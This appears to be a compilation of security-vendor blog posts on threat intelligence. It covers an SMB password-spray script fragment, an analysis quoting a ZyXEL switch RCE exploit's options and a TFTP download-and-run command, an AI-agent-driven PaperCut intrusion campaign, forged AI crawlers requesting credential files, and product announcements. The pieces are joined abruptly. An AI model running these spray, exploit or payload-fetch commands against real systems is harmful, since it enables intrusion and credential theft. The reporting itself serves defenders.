$u = $c[0]; $p = $c[1]
net use * /delete /y 2>&1 | Out-Null
$r = net use "\\\\localhost\\IPC$" /user:$u $p 2>&1 | Out-String
if($r -match "command completed") {
$out += "[+] LOCAL SUCCESS: $u / $p`n"
net use "\\\\localhost\\IPC$" /delete /y 2>&1 | Out-Null
}
}
$out += "`n[*] Done.`n"
[IO.File]::WriteAllText("C:\Windows\Temp\smb_spray.txt", $out)
Write-Host "DONE"
'''
print("[*] Writing SMB spray script...")
write_file("C:\\Windows\\Temp\\smb_spray.ps1", ps_script)
print("[*] Executing SMB spray...")
result = run('powershell.exe -NoProfile -ep bypass -File C:\\Windows\\Temp\\smb_spray.ps1 2>&1')
print(f" {result}")
print()
time.sleep(2)
print("[*] Results:")
print(run('type C:\\Windows\\Temp\\smb_spray.txt'))
The MCA continued to exploit the aforementioned WordPress vulnerabilities against numerous other entities until refocusing their efforts against additional technologies. Victims of WordPress exploitation included numerous governments and small businesses in the following countries, however, none appeared as severe as the above:
On or about 17 August, the MCA exploited and exfiltrated sensitive information including configurations, root level credentials (hashed), and networking information from 996 ZyXEL GS1900 Smart Managed Switches in 48 countries.
The exploit code was contained within a Python script which was heavily obfuscated by the commercial obfuscation tool PyArmor. Deobfuscation was accomplished thanks in part to the MCA leaving in place a runtime which pinned the script to PyArmor 6.7.5, a legacy version released in 2021. After deobfuscating the script, we decompiled the resulting bytecode and discovered the script’s sole purpose is to exploit a vulnerability (CVE-2026-107441) impacting ZyXEL GS1900 Smart Managed Switches. While the script explicitly targets firmware versions 2.10-2.90 of the GS1900-24, it does provide command line options (e.g. libc base address, global offsets), for targeting other firmware in scope for the vulnerability:
ap = argparse.ArgumentParser(
description='Zyxel GS1900 Pre-Auth RCE',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=("Examples:\n"
" %(prog)s http://192.168.1.1 'echo rce>/tmp/pwned'\n"
" %(prog)s https://192.168.1.1 '/bin/busybox telnetd -p 2323 -l /bin/sh'\n"
" %(prog)s http://192.168.1.1 -m stack -n 5000 'id>/tmp/id'\n\n"
"Notes:\n"
" Command must not contain: & (0x26), = (0x3D), newline, null byte.\n"
" GOT mode is deterministic (1 request). Stack mode is ASLR brute-force (~2048 avg)."))
ap.add_argument('url', help='target URL (http://ip or https://ip:port)')
ap.add_argument('command', help='command to execute')
ap.add_argument('-m', '--mode', choices=['got', 'stack', 'auto'], default='auto',
help='got=deterministic, stack=ASLR brute-force, auto=fingerprint then decide')
ap.add_argument('-n', '--attempts', type=int, default=10000, help='max attempts for stack mode (default: 10000)')
ap.add_argument('--libc', type=lambda v: int(v, 0), default=None, help='libc base address override')
ap.add_argument('--req-params', type=lambda v: int(v, 0), default=None, help='reqParameters address override')
ap.add_argument('--strcmp-got', type=lambda v: int(v, 0), default=None, help='strcmp GOT address override')
ap.add_argument('--system-off', type=lambda v: int(v, 0), default=None, help='system() offset in libc override')
ap.add_argument('--no-fingerprint', action='store_true')
args = ap.parse_args()
parsed = urlparse(args.url)
use_ssl = parsed.scheme == 'https'
host = parsed.hostname
port = parsed.port or (443 if use_ssl else 80)
cmd_bytes = args.command.rstrip().encode()
check_bytes(cmd_bytes, 'command')
print('[*] Zyxel GS1900 Pre-Auth RCE', flush=True)
print(f'[*] Target: {parsed.scheme}://{host}:{port}', flush=True)
mode = args.mode
req_params = args.req_params or DEF_REQ_PARAMS
strcmp_got = args.strcmp_got or DEF_STRCMP_GOT
libc = args.libc
system_off = SYSTEM_OFF
The MCA used the exploit to execute the Trivial File Transfer Protocol (TFTP) tool to get a custom collector script c from the adversary’s infrastructure:
sh -c tftp -gr c -l /1 <REDACTED> 6969;/bin/sh /1
The collection tool’s final act is staging the collected data for retrieval:
cp /tmp/info /home/web/tmp/info.txt
While the credentials were hashed, 564 of the victims had factory default credentials.
GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise has been tracking malicious use of 45.142.193.132 since early July 2026 due to its use for attacks against internet facing technologies and devices from Palo Alto, Ubiquiti, Citrix, SonicWall, and Proxmox VE.
On 31 August 2026, a likely Russian-speaking malicious cyber actor (MCA) used 45.142.193.132 and artificial intelligence (AI) to develop, test, and use exploits for PaperCut NG/MF (CVE-2026-81578 and CVE-2026-82078). PaperCut is print management software that enables organizations to track, charge, and manage printing, copying, and scanning jobs for organizations. PaperCut offers cloud and self-hosted versions. PaperCut NG and MF are self-hosted Java web applications that by default run with SYSTEM-level privileges on Windows and are usually domain-joined and integrated with Active Directory. As part of the adversary’s exploit development and testing, they built and attacked a lab environment that included the vulnerable PaperCut software and an Active Directory server. In parallel workflows, the adversary built target lists using an internet scanning service Netlas.io using an identified API key.
Once the adversary achieved remote code execution (RCE) and credential harvesting in its self-hosted lab environment, they used hundreds of AI Agents powered by OpenAI’s Codex (harness), a DeepSeek model (not OpenAI models), and various publicly available offensive security tools to opportunistically compromise at least 440 instances of PaperCut MF/NG hosted by 395 identified victim organizations in 48 countries. There are other real victims that could not be attributed to a named organization. The adversary did explicitly attempt to avoid targeting entities in 28 identified countries; however, our observed victimology shows the attempted restraint failed in some instances.
It’s clear that large language models (LLM) are enabling adversaries to move at greater speed and scale. The adversary went from an empty workspace to first achieving RCE against a real victim in just under four hours, first domain admin in an additional two hours, and once the full campaign launched, compromised at least 11 organizations in 26 seconds. In one instance, the adversary went from initial access to full domain administrator in seven minutes against a high school in the United States. However, the adversary did not experience success evenly across all victims. GreyNoise observed the adversary achieved domain admin against only 12 victim organizations.
The adversary did not immediately follow-up with all compromised victims, so there were multiple-day delays between initial access and achievement of domain admin but only due to a lack of action by the adversary. Where domain admin was achieved, the adversary’s fastest time was five minutes and the longest time was 144 minutes. At GreyNoise’s time of last observation, the adversary had not achieved domain admin against the other victims. In at least one instance of targeting a perceived vulnerable PaperCut instance, Cloudflare’s Web Application Firewall (WAF) defeated the adversary. Fundamental hardening of environments still matters against AI-enabled threats.
It is unclear if this actor is solely focused on access development to be handed off to other affiliated actors or if they will directly leverage their accesses to achieve follow-on objectives such as data theft or ransomware deployment. In the past, other intrusions involving exploitation of PaperCut have led to extortion. GreyNoise partnered with industry leading incident response services organizations to conduct victim notifications around the clock.
Where domain admin was achieved, GreyNoise observed three attack paths:
Attack Path A.
If the compromised PaperCut host was a domain member, the adversary harvested LSASS process memory and registry secrets to recover privileged credentials to pass-the-hash to the domain controller.
Attack Path B.
In instances where the victim had not patched for CVE-2021-42278 and CVE-2021-42287, the adversary used a ‘noPac’ attack.
Attack Path C.
If the compromised PaperCut host was on the Domain Controller itself or running as a Domain-Admin service account, the adversary simply added its newly created account to Domain Admins.
In all Attack Paths, the adversary used DCSync to create a full NTDS.DIT dump to exfiltrate the organization’s credentials.
Note that these IOCs are not exhaustive, the AI-enabled adversary continued to make necessary changes on the fly. GreyNoise will continue to add new IOCs on our GitHub.
The MCA had a library of publicly available offensive security tools used to expand access to the enterprise environment. Note that not all of these tools were observed in active use during this campaign.
This campaign appears to be opportunistic. There is a high concentration of U.S. based targets in the education sector; however, it’s likely that is more attributable to the customer base of PaperCut NG/MF.
The adversary used a list of defined countries to avoid that existed from previous campaigns. It’s currently uncertain why the MCA’s agents deviated, but it is a good example of Agents Gone Wild. The countries to avoid in order were: Russia, China, Hong Kong, Thailand, Iran, Venezuela, Belarus, Kazakhstan, Kyrgyzstan, Tajikistan, Turkmenistan, Uzbekistan, Armenia, Azerbaijan, Moldova, Ukraine, Brazil, Vietnam, Indonesia, Pakistan, Tanzania, Bangladesh, Afghanistan, Turkey, South Africa, Namibia, Nigeria, and Zimbabwe.
GreyNoise will continue monitoring the situation and report updates as needed.
Today we’re announcing an expanded integration between GreyNoise and the CrowdStrike Falcon® platform, with new content for CrowdStrike Falcon® Next-Gen SIEM and CrowdStrike Charlotte Agentic SOAR. The expanded integration includes a purpose-built Falcon Next-Gen SIEM dashboard, correlation rules that detect allowed inbound traffic from malicious infrastructure, and SOAR playbooks that bring GreyNoise threat context into automated response workflows. Install the GreyNoise Foundry App to get started.
Every organization is under pressure as AI shortens time-to-exploitation and the volume of new exploits climbs. This is worst for organizations with large perimeter footprints, where edge devices lack the telemetry for real-time observability and alerting.
GreyNoise continuously observes internet-wide scanning and exploitation through a global sensor network, classifying the associated IPs, tagging the exploitation behavior seen, and recording the post-exploitation artifacts and command-and-control infrastructure used. That intelligence provides valuable context on the alerts generated in Falcon Next-Gen SIEM and enriches the workflows in Charlotte Agentic SOAR.
Falcon Next-Gen SIEM unifies detection and response with real-time dashboards, correlation rules, and centralized case management. Charlotte Agentic SOAR then combines structured workflows with agentic reasoning to drive machine-speed response.
Together, GreyNoise’s real-time intelligence adds valuable context inside the Falcon platform: dashboards for real-time edge observability, correlation rules to detect attacks on edge devices, and SOAR playbooks to automate triage and response.
The integration delivers three categories of content.
Correlate inbound allow events from firewall and WAF telemetry in Falcon Next-Gen SIEM against GreyNoise, and surface sessions where known-malicious infrastructure was permitted through the perimeter. Built on Falcon Next-Gen SIEM’s live dashboard capabilities, it gives analysts a view of:
Falcon Next-Gen SIEM’s correlation rules surface detections that feed directly into its unified detection and response workflow.
Triggered by firewall or WAF allow events, this rule flags inbound connections originating from IPs flagged as malicious or suspicious by GreyNoise. This is typically the infrastructure that GreyNoise has observed conducting mass scanning, exploitation, or credential abuse across the internet. This helps you detect perimeter gaps in real time rather than discovering them in incident response after the fact. Each detection is both a session to investigate and a policy gap to close.
Internal hosts should not be connecting outbound to malicious infrastructure. When they do, it’s a high-fidelity indicator of compromise: C2 beaconing, data exfiltration, or botnet participation. This rule matches outbound connection events against GreyNoise-classified malicious destinations and surfaces the internal hosts involved.
Outbound volumes are typically too high to investigate anomalies manually; anchoring detection on destinations GreyNoise has observed behaving maliciously makes the problem tractable. That targeted enrichment cuts guesswork during triage and feeds the SOAR playbooks discussed next.
These playbooks bring GreyNoise context into Charlotte Agentic SOAR, so automated workflows act on real-time observation of attacker activity.
Organizations typically don’t see global exploitation spikes against their technology stack until it’s too late. GreyNoise observes surges in scanning and exploitation for specific CVEs as they happen. Oftentimes, this is activity that precedes vendor disclosures and KEV publications.
This playbook ingests GreyNoise CVE exploitation events into Charlotte Agentic SOAR and automates the response: case creation, vulnerability management ticketing, and blocklist updates for the IPs doing the exploiting. This can provide you an early warning when exploitation activity spikes against a CVE relevant to your tech stack.
Most edge devices are embedded systems that can’t run EDR agents. When these devices are compromised, they often scan the internet or call back to attacker-controlled infrastructure without triggering any alerts.
This playbook runs when GreyNoise observes your own IP ranges conducting unsolicited scanning, or when internal hosts connect to known callback infrastructure. Charlotte Agentic SOAR ingests the alert, enriches with additional context, and creates a case and containment ticket, with persistent issues tracked in a single case timeline through Falcon Next-Gen SIEM’s centralized case management.
Analysts spend significant time manually looking up IPs to understand whether an alert really matters. This playbook automatically enriches alerts in Charlotte Agentic SOAR with GreyNoise classification and tags, and helps to determine the threat level. It then applies decision rules to recategorize case severity automatically.
An alert involving an IP GreyNoise has observed conducting active exploitation can be escalated. Enrichment is written to the case, so the rationale is visible to analysts and available to downstream workflows.
The GreyNoise Foundry App is available now in the CrowdStrike Marketplace. Install it here to deploy the Falcon Next-Gen SIEM dashboard, correlation rules, and Charlotte Agentic SOAR playbooks in your CrowdStrike environment.
.png)
GreyNoise is observing automated scanners posing as the web crawlers of OpenAI, Anthropic, DeepSeek, and Fortune 500 companies. These forged automated scanners have been observed requesting files often exposed on misconfigured web servers and by other commonly leaked secret and credential methods.
A cluster of scanners impersonating 13 AI crawlers from eight companies requested .env files, cloud access keys, private keys and password stores. Six of those names came from the same 824 addresses in almost identical volume, and within this cluster none of the six requested /robots.txt.
An .env file is where an application keeps database passwords, cloud access keys, API tokens, and other secrets.
Every program that visits a website announces itself in one line of the request. Chrome says it is Chrome. Googlebot says it is Googlebot. Anthropic's crawler says it is ClaudeBot. Nothing in the request itself proves any of it is true.
AI companies publish crawler names so site owners can allow their crawlers, and address lists so they can verify them. The user agent is a client-supplied header, so a control that checks the name but not the address can be bypassed by forging it.
Threat actors are impersonating AI companies while requesting credentials and secrets. Their ClaudeBot string matches Anthropic's character for character, so no rule keyed on the user agent can tell the two apart. They also forged two of Amazon's crawler names, in even greater volume. Neither matches the user agent Amazon documents.
Between July 28 and August 23, 2026, six AI crawler names belonging to four companies arrived on a single HTTP client fingerprint. Across the 90 days to August 23, that same fingerprint carried more than 1,500 different user agent strings, most of them ordinary browsers.
Almost all of the six-name traffic arrived in August. The largest single day was 23 August.
That fingerprint identifies the software making the requests, not the machine running it. The six names arrived from 824 separate addresses.
Google-Extended is a word publishers write in robots.txt to opt out of AI training. Google documents that it "doesn't have a separate HTTP request user agent string." No Google crawler sends it. So all 263,849 sessions carrying it here were forged.
A real crawler reads /robots.txt first, the file where a site states its rules. Under the six forged names, that file was never requested once.
What they asked for instead was credentials. Across all traffic on this one fingerprint, which carried other names besides the six, requests for environment files, cloud access keys, private keys and password stores ran into the millions.
Anthropic's real crawler, measured over the same window by the same method, does the opposite. /robots.txt was the single path it requested most, 12% of its traffic, and it never requested a credential file.
No legitimate AI crawler asks for credentials. These crawlers exist to read pages so an assistant can cite them, and a .env file is not a page. Anthropic's real crawler, measured the same way over the same window, never requested one.
All four companies publish the address ranges their crawlers use. We fetched every one of those lists, and Amazon's as well, and checked every address that sent a forged name against all of them. Not one matched. Over the same window, thousands of sessions carrying the ClaudeBot name did arrive from Anthropic's published addresses.
The label does not separate them. Almost every session here carries the same Web Crawler label that real crawler traffic carries. It’s also not possible to do network-based blocking, because the 824 addresses are spread across 795 separate /24 networks. The published lists do separate them, since not one of the 824 falls inside any range these four companies publish.
GreyNoise observes requests arriving. Nothing here says a file was returned or that any organization was affected, and we are not naming who is behind it.
Identify this activity using more than the user agent. The 824 addresses sit in 795 separate /24 networks, so there is no single network to block. Wherever a crawler name already grants access or waives a control, check the connecting address against the published list for the name it claims.
/.env, /.aws/credentials or /.git/config. No crawler has any reason to ask for these, and your own scanners should already be on a known list/robots.txt is not behaving like a crawler. Real crawlers cache that file, so judge this across days instead of single visits
.env, .git and cloud credential files out of the web root entirely
The full list of 824 addresses can be found here.
GreyNoise customers get the complete indicator set by email. That includes the above IPs, every credential path observed, the fingerprint families, and complete JA4+ fingerprints.
The published crawler address lists, so the check in this post can be repeated. Every address that sent a forged name was tested against all of these.
https://claude.com/crawling/bots.jsonhttps://openai.com/gptbot.jsonhttps://openai.com/chatgpt-user.jsonhttps://openai.com/searchbot.jsonhttps://developers.google.com/static/crawling/ipranges/common-crawlers.jsonhttps://developers.google.com/static/crawling/ipranges/special-crawlers.jsonhttps://developers.google.com/static/crawling/ipranges/user-triggered-fetchers.jsonhttps://www.perplexity.ai/perplexitybot.jsonhttps://www.perplexity.ai/perplexity-user.jsonhttps://developer.amazon.com/amazonbot/ip-addresses/https://developer.amazon.com/amazonbot/searchbot-ip-addresses/
Impostor client fingerprint (JA4H): We recommend using this for investigation rather than blocking. The fingerprint is half-redacted here; the complete value is available in the Visualizer and in the customer package.
ge11nn05enus_f3bb7a...
Most requested impostor credential paths:
/.env
/app/.env
/api/.env
/backend/.env
/.env.local
/.env.production
/.env.old
/.env.bak
/.aws/credentials
/.env.swp
These belong to Anthropic's real crawler. Do not block or alert on them, and do not import them as indicators.
REAL FINGERPRINT, PAIR WITH A PUBLISHED ADDRESS
ge11nn080000_757a95...
REAL STRING, SENT BY BOTH
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
VERIFY AGAINST THE PUBLISHED RANGE
216.73.216.0/22
The user agent string proves nothing on its own, because the real crawler and the impostor both send it. The fingerprint is not enough on its own either. Allow only when the fingerprint and a published address agree.
Each crawler name has its own list. OpenAI publishes separate lists for GPTBot, ChatGPT-User and OAI-SearchBot, so check the name you actually saw against that name's list. All the lists are in the customer package.
Associated GreyNoise tags:
Over the past year, GreyNoise has moved further right on MITRE ATT&CK, helping defenders detect and investigate activity at the edge, uncover signs of compromise, and analyze the artifacts captured from their own sensors.
Today, we’re introducing a redesigned GreyNoise Visualizer that makes it easier to navigate those capabilities and brings related workflows together in one place.
The most noticeable change is the navigation.
Instead of dropdown menus across the top of the Visualizer, the new experience uses a persistent sidebar organized around three areas:
Dashboards sit at the top, giving you a quick way to return to the intelligence you care about most.
Watch a quick walkthrough of the redesigned Visualizer, including the new navigation, search experience, and updated investigation workflows.
Search is now available throughout the Visualizer.
Open it from the sidebar, use Command + K, or start from the Visualizer home page. From the same search experience, you can look across IPs, Callback, CVEs, and Tags.
For IP investigations, we’ve also changed how GreyNoise Query Language (GNQL) queries are displayed. Individual search terms can be shown as badges, making it easier to add or remove filters, switch between AND and OR, and refine a search without rewriting the entire query.
Prefer writing GNQL directly? You can switch back to raw query text at any time.
Several workflows that previously lived on separate pages now sit directly alongside the intelligence they relate to.
When you’re investigating scanner IPs, for example, the same query can be used to create an alert or blocklist from the Actions menu. Compare is now a view within IP search rather than a separate destination. IP and CVE bulk analysis now live together under Analysis.
The same principle carries across the Visualizer: related actions are available where you’re already working.
When an IP shows up in an alert or investigation, the IP details page brings together the different ways GreyNoise may know about it.
Depending on the address, you may see intelligence from up to three GreyNoise datasets:
When an IP appears in more than one dataset, you can move between them directly from the IP page. Scanner activity, related CVEs and tags, callback activity, and business service context are available without moving between separate parts of the Visualizer.
For analysts working through alerts or investigating suspicious infrastructure, that puts more of the context needed to understand an IP in one place.
The Observation section brings together the workflows associated with GreyNoise Deception Sensors.
From here, you can deploy and manage Deception Sensors, assign profiles, inspect the individual sessions they capture, and review post-compromise activity mapped to MITRE ATT&CK tactics and techniques. Sessions are available as a list, graph, or multi-pane view, with the underlying PCAP available from the individual session.
You can also compare what your sensors observe with the broader GreyNoise sensor network. This helps teams understand what is reaching their own edge, what attackers are doing when they get there, and how that activity compares with what GreyNoise is observing across the internet.
The Automation section brings Alerts, Feeds, and Blocklists together.
You can still manage each independently, but automation is also built directly into the investigation workflow. A useful GNQL search can become an alert that watches for new activity or a continuously updated blocklist. Alerts can also be created directly from the IP, Tag, and CVE workflows where applicable, while Feeds can stream GreyNoise events into downstream systems.
This makes it easier to move from investigating activity in GreyNoise to monitoring it or taking action in your existing tools.
The new Visualizer is available today. If you’re logged in to the Classic Visualizer, click Try the New Visualizer in the upper-right corner. To switch back, click Classic from the new Visualizer header.
Your preference is saved to your GreyNoise account, so it follows you across devices.
For a complete walkthrough of the new navigation, search experience, feature locations, and what moved from the Classic Visualizer, see the New Visualizer Documentation.
.png)
Today, I am excited to announce that I am joining GreyNoise as Senior Vice President of Adversary Operations.
Security and intelligence have always been a team effort, which is why I am so excited to join an organization that is fiercely mission-driven, has a great culture, and is completely aligned with the critical need to defend our way of life. Additionally, our founder has a really strong first name which cannot be overstated 😊.
Even more importantly, GreyNoise has developed a world-class capability to address some of the most pressing issues in cybersecurity. Adversaries are targeting edge devices to establish beach heads into network environments and co-opting the infrastructure to proxy follow-on operations. The proliferation of AI systems and tools are helping expedite every aspect of malicious cyber activity to include the discovery of new vulnerabilities, development of exploits, and operationalization of the attack chain. Meanwhile, even the most sophisticated defenders lack organic visibility into edge infrastructure. The systems that sit between our networks and the internet often lack any security features or telemetry collection which leaves defenders blind.
In intrusion investigations, especially involving edge device exploitation, there’s often a significant lag time between when an intrusion occurs and when data is made available to analyze and produce insights. GreyNoise has been exceedingly great at creating visibility into edge device exploitation and has a demonstrated ability to find novel evil before the victim investigation.
Before joining GreyNoise, I was Head of Global Signals Operations (GSO) at Google Threat Intelligence Group (GTIG) by way of Google’s acquisition of Mandiant in 2022. GSO included Research and Discovery (RAD), Mandiant Detection Engineering Team (MDET), Validation Research Team (VRT), Technical Collection and Research (TCR), and Global Underground Research (GUR). We used a multidisciplinary approach to fuse different types of visibility into a more complete threat picture and used it to create security and intelligence impact for Google and their customers.
Prior to Mandiant, I served 12 years as an Active Duty United States Marine with roles ranging from ground combat, counterintelligence, human intelligence, and cyberspace operations. I completed multiple tours in Iraq, Afghanistan, and various additional countries in the Asian Pacific. I finished my service at Marine Corps Forces Cyberspace Command countering foreign intelligence and terrorist threats.
At this point, no single organization has access to a complete threat picture, but GreyNoise is leading the charge in providing early visibility into edge device exploitation and helping security and intelligence teams do a better job of defending against emerging threats by identifying what is truly critical. We are going to build on this well-established foundation to move from retroactive awareness to proactive discovery, disclosure, and disruption at the earliest feasible time.
We are building the Adversary Operations organization to:
Together with my teammates, the security and intelligence community, and industry partners, we will expand GreyNoise’s novel access to provide the data, visibility, context, and insights customers need to act decisively and impose cost on adversaries.
-ImposeCost
.png)
GreyNoise has spent years observing the earliest stages of an attack. Our Global Observation Grid sees adversaries as they scan the internet, probe exposed systems, and attempt to exploit vulnerabilities at the edge. That visibility has traditionally focused on the left side of the MITRE ATT&CK framework, from Reconnaissance through Initial Access and it’s where we built our primary-source intelligence brand.
But we’ve known that is only half the equation.
Earlier this year, we launched our C2 Detection Module, expanding our visibility beyond inbound scanning to the attacker-controlled infrastructure used after exploitation. GreyNoise reads the callback destinations embedded in exploit payloads to identify where a compromised device would call home, from malware-hosting servers to suspected C2 infrastructure.
This marked our first move right of Initial Access on MITRE ATT&CK, extending visibility beyond the exploit itself to the infrastructure supporting what happens next. Defenders can match outbound traffic from their edge devices against GreyNoise callback intelligence to identify connections to confirmed malware-serving infrastructure or suspected C2 servers.
When we launched Project Swarm, we opened our deception platform to the global security community. Participants could deploy GreyNoise Deception Sensors across their own infrastructure that looked like the firewalls, routers, VPN gateways, and other internet-facing systems that adversaries target.
Project Swarm users gained full visibility into the sessions reaching their sensors, including raw payloads, HTTP headers, TLS metadata, and other behavioral artifacts.
But a common ask from them was deeper visibility into what happened after an exploit succeeded. What shell commands did the adversary run? What files did they touch? What did they try to do next?
Today, we are launching Tactics, giving anyone deploying a GreyNoise Deception Sensor deeper visibility into what attackers do after initial compromise.
Tactics automatically maps qualifying attacker sessions captured by sensors in your workspace to the MITRE ATT&CK framework. Each detection represents one session and shows the tactics and techniques observed, along with the activity behind the mapping.
You can find Tactics under Observe → Tactics in the GreyNoise Visualizer. Open a detection to:
.png)
Tactics begin populating when your workspace has a sensor running a vulnerable profile. Once an attacker compromises that profile and performs activity mapped to a MITRE ATT&CK technique, the session will appear as a detection.
Routine and unclassified sessions are filtered out, so the view focuses on meaningful adversary behavior rather than every connection your sensor receives.
Because GreyNoise captures the attacker’s interaction with the host, Tactics can identify behavior across the post-compromise stages of MITRE ATT&CK.
That includes:
With Tactics, GreyNoise now shows what adversaries do with access, not just how they find and exploit exposed systems.
Every command, file, hash, path, and network connection captured by a sensor gives defenders a lead they can investigate inside their own environment.
Because this intelligence comes directly from observed session activity, defenders can work from what the adversary actually did after gaining access. Mapping that activity to MITRE ATT&CK makes it easier to understand and use across existing security workflows.
Before launching Tactics, we analyzed weeks of post-compromise activity across our own Deception Sensor network in the Global Observation Grid.
Much of what we observed was commodity cryptomining, with adversaries treating each new foothold as more infrastructure to consume. A smaller set of sessions showed more serious behavior, going after cloud credentials, attempting container escapes, or creating backdoor accounts.
We break down these findings in After the Shell, a new GreyNoise research report published today. It examines what adversaries did after gaining access, which behaviors appeared most often, and what those observations mean for defenders.
Tactics is available for all users who have deployed a GreyNoise sensor. If you already have a sensor deployed, open Tactics under Observe in the GreyNoise Visualizer to see what it has captured.
If you’re new to Project Swarm, deploy a Greynoise Deception Sensor to start observing what attackers do after compromise.
Resolving detection coverage gaps is a universal problem across the security industry. Before joining GreyNoise, I led Elastic’s Endpoint Protections security research team which was tasked with building visibility and detection capabilities in their Endpoint Detection and Response (EDR) solution. Researchers, red teamers, and attackers alike would constantly poke, prod, and reverse engineer our EDR’s detection capabilities then broadcast their evasions and bypasses to the masses. However, I always saw this as a unique challenge; iron sharpens iron, after all, and resolving these issues led to an improved product with expanded coverage. I believe this experience suits me well as I transition into my new role as the Head of Adversary Engagement at GreyNoise and lead our detection and deception engineering efforts.
When GreyNoise was founded in 2018, 16,510 entries were added to the Common Vulnerabilities and Exposures (CVE) system. The number of entries (48,162) added in 2025 shot up to almost triple the number from 2018. Part of this astounding increase in CVEs can be attributed to the sharp rise in the number of CVE Numbering Authorities over the last decade from 23 in 2016 to over 500 by 2026. However, generative AI has had an undeniable impact on the annual number of reported CVEs over the past few years (130% growth from 2022 through 2025) which speaks to an existential crisis currently facing the security industry.
Large language models (LLMs) have lowered the barrier of entry for aspiring vulnerability researchers and exploit developers while significantly enhancing the capabilities of more experienced researchers and attackers. The mean time to exploit CVEs has sharply dropped to the point where it is now slightly negative, meaning that the average vulnerability was likely exploited in the wild before it was reported and assigned a CVE number.
In the face of impactful vulnerabilities and exploits popping up at rates faster than ever, we saw a critical need to revise our approach to threat detection. Our goals are the following:
This article will primarily focus on the first item above, with subsequent articles to come in the following months to highlight the other facets of our evolved threat detection approach.
The typical workflow for a detection engineer after CVE publication may resemble the following:
As you can see, this is a lot of effort for a lone detection engineer to undertake even for a single CVE. With annual CVE additions on track to hit the hundreds of thousands starting in 2027, it is simply not feasible to continue down this path and provide accurate, up to date intelligence on the most critical emerging threats to our users. Evolving our approach is essential to keep pace with a rapidly shifting threat landscape.
Allocating the research and development resources required to design, implement, and refine an efficient pipeline accelerated by agentic workflows is a necessary first step towards proactive threat detection at scale. We aim to leverage frontier large language models to reduce friction and remove onerous mental load bottlenecks for our detection engineers, which will allow us to focus on refining detection logic for the most pervasive threats and quickly provide accurate intelligence to our customers.
Agentic workflows will be critical to delivering real world impact in our revised approach to detection engineering. Agents are currently being designed and implemented to carry out the following tasks for a given CVE:
At this point, our detection engineers will step in to review the draft detection logic and a detailed summary of all tasks the agents carried out along with key indicators associated with exploitation of the given vulnerability. If further refinement of detection logic is needed, changes can be made at this point and reevaluated against our data to ensure sustained precision.
After a GreyNoise Tag is published, agents will continue to monitor for additional references to collect which may be relevant to a given CVE. These periodic collection tasks will similarly assess the quality and relevance of the data and determine whether it is additive in nature and thus necessitate further revision of our detection logic. Proposed tag updates will be drafted and our detection engineers will be notified for further review and to determine if an update needs to be published.
This is the first step in a bold new direction for GreyNoise and our capability to assess and detect the most pervasive and critical threats. We look forward to sharing more with you in the coming months!
Every day, GreyNoise's global sensor network observes scans and attacker traffic from hundreds of thousands of IPs across the internet. GreyNoise analyzes that activity to understand what each IP is doing, why it matters, and which tags and CVEs are connected to it. You can explore it all in the Visualizer.
The Intelligence Dashboard, available now, gives that intelligence a home. You can pin any combination of CVEs, tags, countries, IPs, and GNQL queries into one persistent, always-current view. Open it, and the activity you care about is already there, up to date.
The first time you open the Dashboard tab, GreyNoise builds a Daily Intelligence Dashboard for you, stamped with today’s date and populated from what is currently notable across the sensor network. It is a starting point, not something you have to maintain. Edit it, save your own version, or let it regenerate fresh the next day.
Watch how to build a dashboard from scratch, add and configure panels, and save it for ongoing use.
A dashboard is a set of panels. Each panel combines a panel type (how the data is shown) with a focus (what it shows activity for).
There are five panel types:
And five ways to focus a panel:
The GNQL focus is the most flexible option. Any query you already run in GreyNoise can become a live dashboard panel, so a standing query like tags:mirai classification:malicious turns into something you watch instead of rerunning every time. Just give the panel a name (a sensible default is suggested), and click *Add Panel*.
Every dashboard is built from panels, and adding one takes just a few clicks: pick a panel type and a focus, give it a name, and it lands on your dashboard already populated. You can drag panels to rearrange them, resize them, or expand any panel to full screen.
For the full step-by-step, including every panel type, focus option, and layout control, see the Intelligence Dashboard documentation.
Two controls in the header apply to every panel at once:
The Activity Map is worth a closer look. Countries are color-coded to show whether they are the source of activity, the destination, or both. Click any country on the map or in the sidebar to see the IPs the activity is coming from and the IPs being targeted, along with the organization that owns each one. Every IP links to its detail page, while “View all IPs” in the Visualizer opens the full result set as a GNQL query. When building a map panel, you can also filter it by source or destination country. For example, you could create a map that only shows activity targeting the regions where you operate.
Changes are not saved automatically. When you have unsaved edits, a banner appears with a “Save” button. The dashboard manager, accessed through the panel icon in the header, lets you switch between saved dashboards, search by name, create a new dashboard, or delete one. Dashboards are personal to you within your workspace. You can save up to 50 dashboards, with up to 24 panels in each.
Community and My Workspace require a deployed Swarm sensor. Once you deploy one, access is granted within about 6 hours.
The Intelligence Dashboard is available to all signed-in GreyNoise users. GreyNoise customers and Community users with a business email get at least 10 days of data lookback, while Community users with a consumer email get 2 days. Available data sources may also vary by account type.
To build your first dashboard, open the GreyNoise Visualizer and navigate to Query → Dashboard.
.png)
Every week, GreyNoise publishes a threat intelligence brief called At The Edge. This covers what attackers are doing on the internet, including which products are drawing exploitation traffic, which vulnerabilities are being exploited, and what changed from the previous week. Each brief is built on primary-source data from our global sensor network and analyzed by our research team into named findings, IOCs, and recommended actions.
The Threat Brief Library is now available in the GreyNoise Visualizer. You can browse, search, filter, and download every brief available to your account as a PDF. Community users can access every At The Edge Clear edition, while customers get the full library.
The library includes three report types:
Each brief is built on primary-source data from the GreyNoise Global Observation Grid, our global network of sensors that emulate the edge infrastructure attackers target. The sensors record all the exploitation attempts and our research team correlates them into named campaigns, confirms the CVEs involved, attributes the hosting infrastructure behind them, and writes the detection and remediation guidance.
A full At The Edge brief includes:
Want to see what a week looks like? Read the latest At The Edge Clear edition.
Log in to the GreyNoise Visualizer, click your name on the top right, and open the Threat Brief Library. You can search by title or description, filter by category, and download any brief you have access to as a PDF. The newest briefs appear first. Briefs are also available through the API and an RSS feed, so you can pull them directly into your own tools or subscribe to new briefs as they publish.
The library is available to all GreyNoise users. Community users can read every At The Edge Clear edition, while GreyNoise customers get the full library, including weekly At The Edge briefs and Executive Situation Reports. Read the Threat Briefs documentation to learn more.
Contact us to get access to the full library.
.png)
